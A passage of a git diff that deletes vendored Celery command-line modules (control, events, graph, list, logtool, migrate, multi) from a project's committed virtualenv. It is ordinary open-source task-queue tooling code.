ctx.fail(UNABLE_TO_LOAD_APP_APP_MISSING.format(attribute_name)) - except Exception: - exc = traceback.format_exc() - ctx.fail( - UNABLE_TO_LOAD_APP_ERROR_OCCURRED.format(app, exc) - ) - - ctx.obj = CLIContext(app=app, no_color=no_color, workdir=workdir, - quiet=quiet) - - # User options - worker.params.extend(ctx.obj.app.user_options.get('worker', [])) - beat.params.extend(ctx.obj.app.user_options.get('beat', [])) - events.params.extend(ctx.obj.app.user_options.get('events', [])) - - for command in celery.commands.values(): - command.params.extend(ctx.obj.app.user_options.get('preload', [])) - - -@celery.command(cls=CeleryCommand) -@click.pass_context -def report(ctx, **kwargs): - """Shows information useful to include in bug-reports.""" - app = ctx.obj.app - app.loader.import_default_modules() - ctx.obj.echo(app.bugreport()) - - -celery.add_command(purge) -celery.add_command(call) -celery.add_command(beat) -celery.add_command(list_) -celery.add_command(result) -celery.add_command(migrate) -celery.add_command(status) -celery.add_command(worker) -celery.add_command(events) -celery.add_command(inspect) -celery.add_command(control) -celery.add_command(graph) -celery.add_command(upgrade) -celery.add_command(logtool) -celery.add_command(amqp) -celery.add_command(shell) -celery.add_command(multi) - -# Monkey-patch click to display a custom error -# when -A or --app are used as sub-command options instead of as options -# of the global command. - -previous_show_implementation = click.exceptions.NoSuchOption.show - -WRONG_APP_OPTION_USAGE_MESSAGE = """You are using `{option_name}` as an option of the {info_name} sub-command: -celery {info_name} {option_name} celeryapp <...> - -The support for this usage was removed in Celery 5.0. Instead you should use `{option_name}` as a global option: -celery {option_name} celeryapp {info_name} <...>""" - - -def _show(self, file=None): - if self.option_name in ('-A', '--app'): - self.ctx.obj.error( - WRONG_APP_OPTION_USAGE_MESSAGE.format( - option_name=self.option_name, - info_name=self.ctx.info_name), - fg='red' - ) - previous_show_implementation(self, file=file) - - -click.exceptions.NoSuchOption.show = _show - - -def main() -> int: - """Start celery umbrella command. - - This function is the main entrypoint for the CLI. - - :return: The exit code of the CLI. - """ - return celery(auto_envvar_prefix="CELERY") diff --git a/backend/venv/Lib/site-packages/celery/bin/control.py b/backend/venv/Lib/site-packages/celery/bin/control.py deleted file mode 100644 index 38a917ea..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/control.py +++ /dev/null @@ -1,252 +0,0 @@ -"""The ``celery control``, ``. inspect`` and ``. status`` programs.""" -from functools import partial -from typing import Literal - -import click -from kombu.utils.json import dumps - -from celery.bin.base import COMMA_SEPARATED_LIST, CeleryCommand, CeleryOption, handle_preload_options -from celery.exceptions import CeleryCommandException -from celery.platforms import EX_UNAVAILABLE -from celery.utils import text -from celery.worker.control import Panel - - -def _say_remote_command_reply(ctx, replies, show_reply=False): - node = next(iter(replies)) # <-- take first. - reply = replies[node] - node = ctx.obj.style(f'{node}: ', fg='cyan', bold=True) - status, preply = ctx.obj.pretty(reply) - ctx.obj.say_chat('->', f'{node}{status}', - text.indent(preply, 4) if show_reply else '', - show_body=show_reply) - - -def _consume_arguments(meta, method, args): - i = 0 - try: - for i, arg in enumerate(args): - try: - name, typ = meta.args[i] - except IndexError: - if meta.variadic: - break - raise click.UsageError( - 'Command {!r} takes arguments: {}'.format( - method, meta.signature)) - else: - yield name, typ(arg) if typ is not None else arg - finally: - args[:] = args[i:] - - -def _compile_arguments(command, args): - meta = Panel.meta[command] - arguments = {} - if meta.args: - arguments.update({ - k: v for k, v in _consume_arguments(meta, command, args) - }) - if meta.variadic: - arguments.update({meta.variadic: args}) - return arguments - - -_RemoteControlType = Literal['inspect', 'control'] - - -def _verify_command_name(type_: _RemoteControlType, command: str) -> None: - choices = _get_commands_of_type(type_) - - if command not in choices: - command_listing = ", ".join(choices) - raise click.UsageError( - message=f'Command {command} not recognized. Available {type_} commands: {command_listing}', - ) - - -def _list_option(type_: _RemoteControlType): - def callback(ctx: click.Context, param, value) -> None: - if not value: - return - choices = _get_commands_of_type(type_) - - formatter = click.HelpFormatter() - - with formatter.section(f'{type_.capitalize()} Commands'): - command_list = [] - for command_name, info in choices.items(): - if info.signature: - command_preview = f'{command_name} {info.signature}' - else: - command_preview = command_name - command_list.append((command_preview, info.help)) - formatter.write_dl(command_list) - ctx.obj.echo(formatter.getvalue(), nl=False) - ctx.exit() - - return click.option( - '--list', - is_flag=True, - help=f'List available {type_} commands and exit.', - expose_value=False, - is_eager=True, - callback=callback, - ) - - -def _get_commands_of_type(type_: _RemoteControlType) -> dict: - command_name_info_pairs = [ - (name, info) for name, info in Panel.meta.items() - if info.type == type_ and info.visible - ] - return dict(sorted(command_name_info_pairs)) - - -@click.command(cls=CeleryCommand) -@click.option('-t', - '--timeout', - cls=CeleryOption, - type=float, - default=1.0, - help_group='Remote Control Options', - help='Timeout in seconds waiting for reply.') -@click.option('-d', - '--destination', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Remote Control Options', - help='Comma separated list of destination node names.') -@click.option('-j', - '--json', - cls=CeleryOption, - is_flag=True, - help_group='Remote Control Options', - help='Use json as output format.') -@click.pass_context -@handle_preload_options -def status(ctx, timeout, destination, json, **kwargs): - """Show list of workers that are online.""" - callback = None if json else partial(_say_remote_command_reply, ctx) - replies = ctx.obj.app.control.inspect(timeout=timeout, - destination=destination, - callback=callback).ping() - - if not replies: - raise CeleryCommandException( - message='No nodes replied within time constraint', - exit_code=EX_UNAVAILABLE - ) - - if json: - ctx.obj.echo(dumps(replies)) - nodecount = len(replies) - if not kwargs.get('quiet', False): - ctx.obj.echo('\n{} {} online.'.format( - nodecount, text.pluralize(nodecount, 'node'))) - - -@click.command(cls=CeleryCommand, - context_settings={'allow_extra_args': True}) -@click.argument('command') -@_list_option('inspect') -@click.option('-t', - '--timeout', - cls=CeleryOption, - type=float, - default=1.0, - help_group='Remote Control Options', - help='Timeout in seconds waiting for reply.') -@click.option('-d', - '--destination', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Remote Control Options', - help='Comma separated list of destination node names.') -@click.option('-j', - '--json', - cls=CeleryOption, - is_flag=True, - help_group='Remote Control Options', - help='Use json as output format.') -@click.pass_context -@handle_preload_options -def inspect(ctx, command, timeout, destination, json, **kwargs): - """Inspect the workers by sending them the COMMAND inspect command. - - Availability: RabbitMQ (AMQP) and Redis transports. - """ - _verify_command_name('inspect', command) - callback = None if json else partial(_say_remote_command_reply, ctx, - show_reply=True) - arguments = _compile_arguments(command, ctx.args) - inspect = ctx.obj.app.control.inspect(timeout=timeout, - destination=destination, - callback=callback) - replies = inspect._request(command, **arguments) - - if not replies: - raise CeleryCommandException( - message='No nodes replied within time constraint', - exit_code=EX_UNAVAILABLE - ) - - if json: - ctx.obj.echo(dumps(replies)) - return - - nodecount = len(replies) - if not ctx.obj.quiet: - ctx.obj.echo('\n{} {} online.'.format( - nodecount, text.pluralize(nodecount, 'node'))) - - -@click.command(cls=CeleryCommand, - context_settings={'allow_extra_args': True}) -@click.argument('command') -@_list_option('control') -@click.option('-t', - '--timeout', - cls=CeleryOption, - type=float, - default=1.0, - help_group='Remote Control Options', - help='Timeout in seconds waiting for reply.') -@click.option('-d', - '--destination', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Remote Control Options', - help='Comma separated list of destination node names.') -@click.option('-j', - '--json', - cls=CeleryOption, - is_flag=True, - help_group='Remote Control Options', - help='Use json as output format.') -@click.pass_context -@handle_preload_options -def control(ctx, command, timeout, destination, json): - """Send the COMMAND control command to the workers. - - Availability: RabbitMQ (AMQP), Redis, and MongoDB transports. - """ - _verify_command_name('control', command) - callback = None if json else partial(_say_remote_command_reply, ctx, - show_reply=True) - args = ctx.args - arguments = _compile_arguments(command, args) - replies = ctx.obj.app.control.broadcast(command, timeout=timeout, - destination=destination, - callback=callback, - reply=True, - arguments=arguments) - - if not replies: - raise CeleryCommandException( - message='No nodes replied within time constraint', - exit_code=EX_UNAVAILABLE - ) - - if json: - ctx.obj.echo(dumps(replies)) diff --git a/backend/venv/Lib/site-packages/celery/bin/events.py b/backend/venv/Lib/site-packages/celery/bin/events.py deleted file mode 100644 index 89470838..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/events.py +++ /dev/null @@ -1,94 +0,0 @@ -"""The ``celery events`` program.""" -import sys -from functools import partial - -import click - -from celery.bin.base import LOG_LEVEL, CeleryDaemonCommand, CeleryOption, handle_preload_options -from celery.platforms import detached, set_process_title, strargv - - -def _set_process_status(prog, info=''): - prog = '{}:{}'.format('celery events', prog) - info = f'{info} {strargv(sys.argv)}' - return set_process_title(prog, info=info) - - -def _run_evdump(app): - from celery.events.dumper import evdump - _set_process_status('dump') - return evdump(app=app) - - -def _run_evcam(camera, app, logfile=None, pidfile=None, uid=None, - gid=None, umask=None, workdir=None, - detach=False, **kwargs): - from celery.events.snapshot import evcam - _set_process_status('cam') - kwargs['app'] = app - cam = partial(evcam, camera, - logfile=logfile, pidfile=pidfile, **kwargs) - - if detach: - with detached(logfile, pidfile, uid, gid, umask, workdir): - return cam() - else: - return cam() - - -def _run_evtop(app): - try: - from celery.events.cursesmon import evtop - _set_process_status('top') - return evtop(app=app) - except ModuleNotFoundError as e: - if e.name == '_curses': - # TODO: Improve this error message - raise click.UsageError("The curses module is required for this command.") - - -@click.command(cls=CeleryDaemonCommand) -@click.option('-d', - '--dump', - cls=CeleryOption, - is_flag=True, - help_group='Dumper') -@click.option('-c', - '--camera', - cls=CeleryOption, - help_group='Snapshot') -@click.option('-d', - '--detach', - cls=CeleryOption, - is_flag=True, - help_group='Snapshot') -@click.option('-F', '--frequency', '--freq', - type=float, - default=1.0, - cls=CeleryOption, - help_group='Snapshot') -@click.option('-r', '--maxrate', - cls=CeleryOption, - help_group='Snapshot') -@click.option('-l', - '--loglevel', - default='WARNING', - cls=CeleryOption, - type=LOG_LEVEL, - help_group="Snapshot", - help="Logging level.") -@click.pass_context -@handle_preload_options -def events(ctx, dump, camera, detach, frequency, maxrate, loglevel, **kwargs): - """Event-stream utilities.""" - app = ctx.obj.app - if dump: - return _run_evdump(app) - - if camera: - return _run_evcam(camera, app=app, freq=frequency, maxrate=maxrate, - loglevel=loglevel, - detach=detach, - **kwargs) - - return _run_evtop(app) diff --git a/backend/venv/Lib/site-packages/celery/bin/graph.py b/backend/venv/Lib/site-packages/celery/bin/graph.py deleted file mode 100644 index d4d6f162..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/graph.py +++ /dev/null @@ -1,197 +0,0 @@ -"""The ``celery graph`` command.""" -import sys -from operator import itemgetter - -import click - -from celery.bin.base import CeleryCommand, handle_preload_options -from celery.utils.graph import DependencyGraph, GraphFormatter - - -@click.group() -@click.pass_context -@handle_preload_options -def graph(ctx): - """The ``celery graph`` command.""" - - -@graph.command(cls=CeleryCommand, context_settings={'allow_extra_args': True}) -@click.pass_context -def bootsteps(ctx): - """Display bootsteps graph.""" - worker = ctx.obj.app.WorkController() - include = {arg.lower() for arg in ctx.args or ['worker', 'consumer']} - if 'worker' in include: - worker_graph = worker.blueprint.graph - if 'consumer' in include: - worker.blueprint.connect_with(worker.consumer.blueprint) - else: - worker_graph = worker.consumer.blueprint.graph - worker_graph.to_dot(sys.stdout) - - -@graph.command(cls=CeleryCommand, context_settings={'allow_extra_args': True}) -@click.pass_context -def workers(ctx): - """Display workers graph.""" - def simplearg(arg): - return maybe_list(itemgetter(0, 2)(arg.partition(':'))) - - def maybe_list(l, sep=','): - return l[0], l[1].split(sep) if sep in l[1] else l[1] - - args = dict(simplearg(arg) for arg in ctx.args) - generic = 'generic' in args - - def generic_label(node): - return '{} ({}://)'.format(type(node).__name__, - node._label.split('://')[0]) - - class Node: - force_label = None - scheme = {} - - def __init__(self, label, pos=None): - self._label = label - self.pos = pos - - def label(self): - return self._label - - def __str__(self): - return self.label() - - class Thread(Node): - scheme = { - 'fillcolor': 'lightcyan4', - 'fontcolor': 'yellow', - 'shape': 'oval', - 'fontsize': 10, - 'width': 0.3, - 'color': 'black', - } - - def __init__(self, label, **kwargs): - self.real_label = label - super().__init__( - label=f'thr-{next(tids)}', - pos=0, - ) - - class Formatter(GraphFormatter): - - def label(self, obj): - return obj and obj.label() - - def node(self, obj): - scheme = dict(obj.scheme) if obj.pos else obj.scheme - if isinstance(obj, Thread): - scheme['label'] = obj.real_label - return self.draw_node( - obj, dict(self.node_scheme, **scheme), - ) - - def terminal_node(self, obj): - return self.draw_node( - obj, dict(self.term_scheme, **obj.scheme), - ) - - def edge(self, a, b, **attrs): - if isinstance(a, Thread): - attrs.update(arrowhead='none', arrowtail='tee') - return self.draw_edge(a, b, self.edge_scheme, attrs) - - def subscript(n): - S = {'0': '₀', '1': '₁', '2': '₂', '3': '₃', '4': '₄', - '5': '₅', '6': '₆', '7': '₇', '8': '₈', '9': '₉'} - return ''.join([S[i] for i in str(n)]) - - class Worker(Node): - pass - - class Backend(Node): - scheme = { - 'shape': 'folder', - 'width': 2, - 'height': 1, - 'color': 'black', - 'fillcolor': 'peachpuff3', - } - - def label(self): - return generic_label(self) if generic else self._label - - class Broker(Node): - scheme = { - 'shape': 'circle', - 'fillcolor': 'cadetblue3', - 'color': 'cadetblue4', - 'height': 1, - } - - def label(self): - return generic_label(self) if generic else self._label - - from itertools import count - tids = count(1) - Wmax = int(args.get('wmax', 4) or 0) - Tmax = int(args.get('tmax', 3) or 0) - - def maybe_abbr(l, name, max=Wmax): - size = len(l) - abbr = max and size > max - if 'enumerate' in args: - l = [f'{name}{subscript(i + 1)}' - for i, obj in enumerate(l)] - if abbr: - l = l[0:max - 1] + [l[size - 1]] - l[max - 2] = '{}⎨…{}⎬'.format( - name[0], subscript(size - (max - 1))) - return l - - app = ctx.obj.app - try: - workers = args['nodes'] - threads = args.get('threads') or [] - except KeyError: - replies = app.control.inspect().stats() or {} - workers, threads = [], [] - for worker, reply in replies.items(): - workers.append(worker) - threads.append(reply['pool']['max-concurrency']) - - wlen = len(workers) - backend = args.get('backend', app.conf.result_backend) - threads_for = {} - workers = maybe_abbr(workers, 'Worker') - if Wmax and wlen > Wmax: - threads = threads[0:3] + [threads[-1]] - for i, threads in enumerate(threads): - threads_for[workers[i]] = maybe_abbr( - list(range(int(threads))), 'P', Tmax, - ) - - broker = Broker(args.get( - 'broker', app.connection_for_read().as_uri())) - backend = Backend(backend) if backend else None - deps = DependencyGraph(formatter=Formatter()) - deps.add_arc(broker) - if backend: - deps.add_arc(backend) - curworker = [0] - for i, worker in enumerate(workers): - worker = Worker(worker, pos=i) - deps.add_arc(worker) - deps.add_edge(worker, broker) - if backend: - deps.add_edge(worker, backend) - threads = threads_for.get(worker._label) - if threads: - for thread in threads: - thread = Thread(thread) - deps.add_arc(thread) - deps.add_edge(thread, worker) - - curworker[0] += 1 - - deps.to_dot(sys.stdout) diff --git a/backend/venv/Lib/site-packages/celery/bin/list.py b/backend/venv/Lib/site-packages/celery/bin/list.py deleted file mode 100644 index f170e627..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/list.py +++ /dev/null @@ -1,38 +0,0 @@ -"""The ``celery list bindings`` command, used to inspect queue bindings.""" -import click - -from celery.bin.base import CeleryCommand, handle_preload_options - - -@click.group(name="list") -@click.pass_context -@handle_preload_options -def list_(ctx): - """Get info from broker. - - Note: - - For RabbitMQ the management plugin is required. - """ - - -@list_.command(cls=CeleryCommand) -@click.pass_context -def bindings(ctx): - """Inspect queue bindings.""" - # TODO: Consider using a table formatter for this command. - app = ctx.obj.app - with app.connection() as conn: - app.amqp.TaskConsumer(conn).declare() - - try: - bindings = conn.manager.get_bindings() - except NotImplementedError: - raise click.UsageError('Your transport cannot list bindings.') - - def fmt(q, e, r): - ctx.obj.echo(f'{q:<28} {e:<28} {r}') - fmt('Queue', 'Exchange', 'Routing Key') - fmt('-' * 16, '-' * 16, '-' * 16) - for b in bindings: - fmt(b['destination'], b['source'], b['routing_key']) diff --git a/backend/venv/Lib/site-packages/celery/bin/logtool.py b/backend/venv/Lib/site-packages/celery/bin/logtool.py deleted file mode 100644 index ae64c3e4..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/logtool.py +++ /dev/null @@ -1,157 +0,0 @@ -"""The ``celery logtool`` command.""" -import re -from collections import Counter -from fileinput import FileInput - -import click - -from celery.bin.base import CeleryCommand, handle_preload_options - -__all__ = ('logtool',) - -RE_LOG_START = re.compile(r'^\[\d\d\d\d\-\d\d-\d\d ') -RE_TASK_RECEIVED = re.compile(r'.+?\] Received') -RE_TASK_READY = re.compile(r'.+?\] Task') -RE_TASK_INFO = re.compile(r'.+?([\w\.]+)\[(.+?)\].+') -RE_TASK_RESULT = re.compile(r'.+?[\w\.]+\[.+?\] (.+)') - -REPORT_FORMAT = """ -Report -====== -Task total: {task[total]} -Task errors: {task[errors]} -Task success: {task[succeeded]} -Task completed: {task[completed]} -Tasks -===== -{task[types].format} -""" - - -class _task_counts(list): - - @property - def format(self): - return '\n'.join('{}: {}'.format(*i) for i in self) - - -def task_info(line): - m = RE_TASK_INFO.match(line) - return m.groups() - - -class Audit: - - def __init__(self, on_task_error=None, on_trace=None, on_debug=None): - self.ids = set() - self.names = {} - self.results = {} - self.ready = set() - self.task_types = Counter() - self.task_errors = 0 - self.on_task_error = on_task_error - self.on_trace = on_trace - self.on_debug = on_debug - self.prev_line = None - - def run(self, files): - for line in FileInput(files): - self.feed(line) - return self - - def task_received(self, line, task_name, task_id): - self.names[task_id] = task_name - self.ids.add(task_id) - self.task_types[task_name] += 1 - - def task_ready(self, line, task_name, task_id, result): - self.ready.add(task_id) - self.results[task_id] = result - if 'succeeded' not in result: - self.task_error(line, task_name, task_id, result) - - def task_error(self, line, task_name, task_id, result): - self.task_errors += 1 - if self.on_task_error: - self.on_task_error(line, task_name, task_id, result) - - def feed(self, line): - if RE_LOG_START.match(line): - if RE_TASK_RECEIVED.match(line): - task_name, task_id = task_info(line) - self.task_received(line, task_name, task_id) - elif RE_TASK_READY.match(line): - task_name, task_id = task_info(line) - result = RE_TASK_RESULT.match(line) - if result: - result, = result.groups() - self.task_ready(line, task_name, task_id, result) - else: - if self.on_debug: - self.on_debug(line) - self.prev_line = line - else: - if self.on_trace: - self.on_trace('\n'.join(filter(None, [self.prev_line, line]))) - self.prev_line = None - - def incomplete_tasks(self): - return self.ids ^ self.ready - - def report(self): - return { - 'task': { - 'types': _task_counts(self.task_types.most_common()), - 'total': len(self.ids), - 'errors': self.task_errors, - 'completed': len(self.ready), - 'succeeded': len(self.ready) - self.task_errors, - } - } - - -@click.group() -@click.pass_context -@handle_preload_options -def logtool(ctx): - """The ``celery logtool`` command.""" - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def stats(ctx, files): - ctx.obj.echo(REPORT_FORMAT.format( - **Audit().run(files).report() - )) - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def traces(ctx, files): - Audit(on_trace=ctx.obj.echo).run(files) - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def errors(ctx, files): - Audit(on_task_error=lambda line, *_: ctx.obj.echo(line)).run(files) - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def incomplete(ctx, files): - audit = Audit() - audit.run(files) - for task_id in audit.incomplete_tasks(): - ctx.obj.echo(f'Did not complete: {task_id}') - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def debug(ctx, files): - Audit(on_debug=ctx.obj.echo).run(files) diff --git a/backend/venv/Lib/site-packages/celery/bin/migrate.py b/backend/venv/Lib/site-packages/celery/bin/migrate.py deleted file mode 100644 index fc3c88b8..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/migrate.py +++ /dev/null @@ -1,63 +0,0 @@ -"""The ``celery migrate`` command, used to filter and move messages.""" -import click -from kombu import Connection - -from celery.bin.base import CeleryCommand, CeleryOption, handle_preload_options -from celery.contrib.migrate import migrate_tasks - - -@click.command(cls=CeleryCommand) -@click.argument('source') -@click.argument('destination') -@click.option('-n', - '--limit', - cls=CeleryOption, - type=int, - help_group='Migration Options', - help='Number of tasks to consume.') -@click.option('-t', - '--timeout', - cls=CeleryOption, - type=float, - help_group='Migration Options', - help='Timeout in seconds waiting for tasks.') -@click.option('-a', - '--ack-messages', - cls=CeleryOption, - is_flag=True, - help_group='Migration Options', - help='Ack messages from source broker.') -@click.option('-T', - '--tasks', - cls=CeleryOption, - help_group='Migration Options', - help='List of task names to filter on.') -@click.option('-Q', - '--queues', - cls=CeleryOption, - help_group='Migration Options', - help='List of queues to migrate.') -@click.option('-F', - '--forever', - cls=CeleryOption, - is_flag=True, - help_group='Migration Options', - help='Continually migrate tasks until killed.') -@click.pass_context -@handle_preload_options -def migrate(ctx, source, destination, **kwargs): - """Migrate tasks from one broker to another. - - Warning: - - This command is experimental, make sure you have a backup of - the tasks before you continue. - """ - # TODO: Use a progress bar - def on_migrate_task(state, body, message): - ctx.obj.echo(f"Migrating task {state.count}/{state.strtotal}: {body}") - - migrate_tasks(Connection(source), - Connection(destination), - callback=on_migrate_task, - **kwargs) diff --git a/backend/venv/Lib/site-packages/celery/bin/multi.py b/backend/venv/Lib/site-packages/celery/bin/multi.py deleted file mode 100644 index 360c3869..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/multi.py +++ /dev/null @@ -1,480 +0,0 @@ -"""Start multiple worker instances from the command-line. - -.. program:: celery multi - -Examples -======== - -.. code-block:: console - - $ # Single worker with explicit name and events enabled. - $ celery multi start Leslie -E - - $ # Pidfiles and logfiles are stored in the current directory - $ # by default. Use --pidfile and --logfile argument to change - $ # this. The abbreviation %n will be expanded to the current - $ # node name. - $ celery multi start Leslie -E --pidfile=/var/run/celery/%n.pid - --logfile=/var/log/celery/%n%I.log - - - $ # You need to add the same arguments when you restart, - $ # as these aren't persisted anywhere. - $ celery multi restart Leslie -E --pidfile=/var/run/celery/%n.pid - --logfile=/var/log/celery/%n%I.log - - $ # To stop the node, you need to specify the same pidfile. - $ celery multi stop Leslie --pidfile=/var/run/celery/%n.pid - - $ # 3 workers, with 3 processes each - $ celery multi start 3 -c 3 - celery worker -n celery1@myhost -c 3 - celery worker -n celery2@myhost -c 3 - celery worker -n celery3@myhost -c 3 - - $ # override name prefix when using range - $ celery multi start 3 --range-prefix=worker -c 3 - celery worker -n worker1@myhost -c 3 - celery worker -n worker2@myhost -c 3 - celery worker -n worker3@myhost -c 3 - - $ # start 3 named workers - $ celery multi start image video data -c 3 - celery worker -n image@myhost -c 3 - celery worker -n video@myhost -c 3 - celery worker -n data@myhost -c 3 - - $ # specify custom hostname - $ celery multi start 2 --hostname=worker.example.com -c 3 - celery worker -n celery1@worker.example.com -c 3 - celery worker -n celery2@worker.example.com -c 3 - - $ # specify fully qualified nodenames - $ celery multi start foo@worker.example.com bar@worker.example.com -c 3 - - $ # fully qualified nodenames but using the current hostname - $ celery multi start foo@%h bar@%h - - $ # Advanced example starting 10 workers in the background: - $ # * Three of the workers processes the images and video queue - $ # * Two of the workers processes the data queue with loglevel DEBUG - $ # * the rest processes the default' queue. - $ celery multi start 10 -l INFO -Q:1-3 images,video -Q:4,5 data - -Q default -L:4,5 DEBUG - - $ # You can show the commands necessary to start the workers with - $ # the 'show' command: - $ celery multi show 10 -l INFO -Q:1-3 images,video -Q:4,5 data - -Q default -L:4,5 DEBUG - - $ # Additional options are added to each celery worker's command, - $ # but you can also modify the options for ranges of, or specific workers - - $ # 3 workers: Two with 3 processes, and one with 10 processes. - $ celery multi start 3 -c 3 -c:1 10 - celery worker -n celery1@myhost -c 10 - celery worker -n celery2@myhost -c 3 - celery worker -n celery3@myhost -c 3 - - $ # can also specify options for named workers - $ celery multi start image video data -c 3 -c:image 10 - celery worker -n image@myhost -c 10 - celery worker -n video@myhost -c 3 - celery worker -n data@myhost -c 3 - - $ # ranges and lists of workers in options is also allowed: - $ # (-c:1-3 can also be written as -c:1,2,3) - $ celery multi start 5 -c 3 -c:1-3 10 - celery worker -n celery1@myhost -c 10 - celery worker -n celery2@myhost -c 10 - celery worker -n celery3@myhost -c 10 - celery worker -n celery4@myhost -c 3 - celery worker -n celery5@myhost -c 3 - - $ # lists also works with named workers - $ celery multi start foo bar baz xuzzy -c 3 -c:foo,bar,baz 10 - celery worker -n foo@myhost -c 10 - celery worker -n bar@myhost -c 10 - celery worker -n baz@myhost -c 10 - celery worker -n xuzzy@myhost -c 3 -""" -import os -import signal -import sys -from functools import wraps - -import click -from kombu.utils.objects import cached_property - -from celery import VERSION_BANNER -from celery.apps.multi import Cluster, MultiParser, NamespacedOptionParser -from celery.bin.base import CeleryCommand, handle_preload_options -from celery.platforms import EX_FAILURE, EX_OK, signals -from celery.utils import term -from celery.utils.text import pluralize - -__all__ = ('MultiTool',) - -USAGE = """\ -usage: {prog_name} start [worker options] - {prog_name} stop [-SIG (default: -TERM)] - {prog_name} restart [-SIG] [worker options] - {prog_name} kill - - {prog_name} show [worker options] - {prog_name} get hostname [-qv] [worker options] - {prog_name} names - {prog_name} expand template - {prog_name} help - -additional options (must appear after command name): - - * --nosplash: Don't display program info. - * --quiet: Don't show as much output. - * --verbose: Show more output. - * --no-color: Don't display colors. -""" - - -def main(): - sys.exit(MultiTool().execute_from_commandline(sys.argv)) - - -def splash(fun): - - @wraps(fun) - def _inner(self, *args, **kwargs): - self.splash() - return fun(self, *args, **kwargs) - return _inner - - -def using_cluster(fun): - - @wraps(fun) - def _inner(self, *argv, **kwargs): - return fun(self, self.cluster_from_argv(argv), **kwargs) - return _inner - - -def using_cluster_and_sig(fun): - - @wraps(fun) - def _inner(self, *argv, **kwargs): - p, cluster = self._cluster_from_argv(argv) - sig = self._find_sig_argument(p) - return fun(self, cluster, sig, **kwargs) - return _inner - - -class TermLogger: - - splash_text = 'celery multi v{version}' - splash_context = {'version': VERSION_BANNER} - - #: Final exit code. - retcode = 0 - - def setup_terminal(self, stdout, stderr, - nosplash=False, quiet=False, verbose=False, - no_color=False, **kwargs): - self.stdout = stdout or sys.stdout - self.stderr = stderr or sys.stderr - self.nosplash = nosplash - self.quiet = quiet - self.verbose = verbose - self.no_color = no_color - - def ok(self, m, newline=True, file=None): - self.say(m, newline=newline, file=file) - return EX_OK - - def say(self, m, newline=True, file=None): - print(m, file=file or self.stdout, end='\n' if newline else '') - - def carp(self, m, newline=True, file=None): - return self.say(m, newline, file or self.stderr) - - def error(self, msg=None): - if msg: - self.carp(msg) - self.usage() - return EX_FAILURE - - def info(self, msg, newline=True): - if self.verbose: - self.note(msg, newline=newline) - - def note(self, msg, newline=True): - if not self.quiet: - self.say(str(msg), newline=newline) - - @splash - def usage(self): - self.say(USAGE.format(prog_name=self.prog_name)) - - def splash(self): - if not self.nosplash: - self.note(self.colored.cyan( - self.splash_text.format(**self.splash_context))) - - @cached_property - def colored(self): - return term.colored(enabled=not self.no_color) - - -class MultiTool(TermLogger): - """The ``celery multi`` program.""" - - MultiParser = MultiParser - OptionParser = NamespacedOptionParser - - reserved_options = [ - ('--nosplash', 'nosplash'), - ('--quiet', 'quiet'), - ('-q', 'quiet'), - ('--verbose', 'verbose'), - ('--no-color', 'no_color'), - ] - - def __init__(self, env=None, cmd=None, - fh=None, stdout=None, stderr=None, **kwargs): - # fh is an old alias to stdout. - self.env = env - self.cmd = cmd - self.setup_terminal(stdout or fh, stderr, **kwargs) - self.fh = self.stdout - self.prog_name = 'celery multi' - self.commands = { - 'start': self.start, - 'show': self.show, - 'stop': self.stop, - 'stopwait': self.stopwait, - 'stop_verify': self.stopwait, # compat alias - 'restart': self.restart, - 'kill': self.kill, - 'names': self.names, - 'expand': self.expand, - 'get': self.get, - 'help': self.help, - } - - def execute_from_commandline(self, argv, cmd=None): - # Reserve the --nosplash|--quiet|-q/--verbose options. - argv = self._handle_reserved_options(argv) - self.cmd = cmd if cmd is not None else self.cmd - self.prog_name = os.path.basename(argv.pop(0)) - - if not self.validate_arguments(argv): - return self.error() - - return self.call_command(argv[0], argv[1:]) - - def validate_arguments(self, argv): - return argv and argv[0][0] != '-' - - def call_command(self, command, argv): - try: - return self.commands[command](*argv) or EX_OK - except KeyError: - return self.error(f'Invalid command: {command}') - - def _handle_reserved_options(self, argv): - argv = list(argv) # don't modify callers argv. - for arg, attr in self.reserved_options: - if arg in argv: - setattr(self, attr, bool(argv.pop(argv.index(arg)))) - return argv - - @splash - @using_cluster - def start(self, cluster): - self.note('> Starting nodes...') - return int(any(cluster.start())) - - @splash - @using_cluster_and_sig - def stop(self, cluster, sig, **kwargs): - return cluster.stop(sig=sig, **kwargs) - - @splash - @using_cluster_and_sig - def stopwait(self, cluster, sig, **kwargs): - return cluster.stopwait(sig=sig, **kwargs) - stop_verify = stopwait # compat - - @splash - @using_cluster_and_sig - def restart(self, cluster, sig, **kwargs): - return int(any(cluster.restart(sig=sig, **kwargs))) - - @using_cluster - def names(self, cluster): - self.say('\n'.join(n.name for n in cluster)) - - def get(self, wanted, *argv): - try: - node = self.cluster_from_argv(argv).find(wanted) - except KeyError: - return EX_FAILURE - else: - return self.ok(' '.join(node.argv)) - - @using_cluster - def show(self, cluster): - return self.ok('\n'.join( - ' '.join(node.argv_with_executable) - for node in cluster - )) - - @splash - @using_cluster - def kill(self, cluster): - return cluster.kill() - - def expand(self, template, *argv): - return self.ok('\n'.join( - node.expander(template) - for node in self.cluster_from_argv(argv) - )) - - def help(self, *argv): - self.say(__doc__) - - def _find_sig_argument(self, p, default=signal.SIGTERM): - args = p.args[len(p.values):] - for arg in reversed(args): - if len(arg) == 2 and arg[0] == '-': - try: - return int(arg[1]) - except ValueError: - pass - if arg[0] == '-': - try: - return signals.signum(arg[1:]) - except (AttributeError, TypeError): - pass - return default - - def _nodes_from_argv(self, argv, cmd=None): - cmd = cmd if cmd is not None else self.cmd - p = self.OptionParser(argv) - 